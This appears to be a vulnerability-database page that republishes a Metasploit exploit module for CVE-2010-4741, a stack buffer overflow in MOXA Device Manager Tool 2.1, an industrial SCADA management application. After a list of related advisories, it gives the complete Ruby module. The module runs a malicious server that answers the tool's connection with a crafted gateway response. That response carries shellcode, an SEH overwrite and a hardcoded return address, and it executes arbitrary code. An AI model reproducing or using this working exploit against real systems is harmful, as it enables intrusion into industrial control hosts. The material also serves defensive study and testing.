Lucene search
K

MOXA Device Manager Tool 2.1 - Buffer Overflow Exploit

🗓️ 23 Mar 2017 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 31 Views

Exploit for MOXA Device Manager Tool 2.1 Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-4741
14 Nov 201000:00
circl
Check Point Advisories
MOXA Device Manager Tool SCADA Buffer Overflow (CVE-2010-4741)
10 Aug 201400:00
checkpoint_advisories
CVE
CVE-2010-4741
18 Feb 201117:00
cve
Cvelist
CVE-2010-4741
18 Feb 201117:00
cvelist
Exploit DB
MOXA Device Manager Tool 2.1 - Remote Buffer Overflow (Metasploit)
14 Nov 201000:00
exploitdb
Exploit DB
MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit)
20 Oct 201000:00
exploitdb
ICS
GLEG Agora SCADA+ Exploit Pack
6 Sep 201812:00
ics
Tenable Nessus
Moxa Device Manager Tool MDM2_Gateway Response Remote Overflow
21 Feb 201100:00
nessus
Metasploit
MOXA Device Manager Tool 2.1 Buffer Overflow
6 Nov 201022:25
metasploit
NVD
CVE-2010-4741
18 Feb 201118:00
nvd
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = GreatRanking
 
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
        When sending a specially crafted MDMGw (MDM2_Gateway) response, an
        attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'Ruben Santamarta', 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-4741'],
          [ 'OSVDB', '69027'],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
          [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 20 2010',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
      ], self.class)
  end
 
  def on_client_connect(client)
 
    return if ((p = regenerate_payload(client)) == nil)
 
    client.get_once
 
    sploit = rand_text_alpha_upper(18024)
 
    sploit[0, 4] = [0x29001028].pack('V')
    sploit[472, payload.encoded.length] = payload.encoded
    sploit[1072, 8] = generate_seh_record(target.ret)
    sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
 
    client.put(sploit)
 
    handler(client)
 
    service.close_client(client)
 
  end
end

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation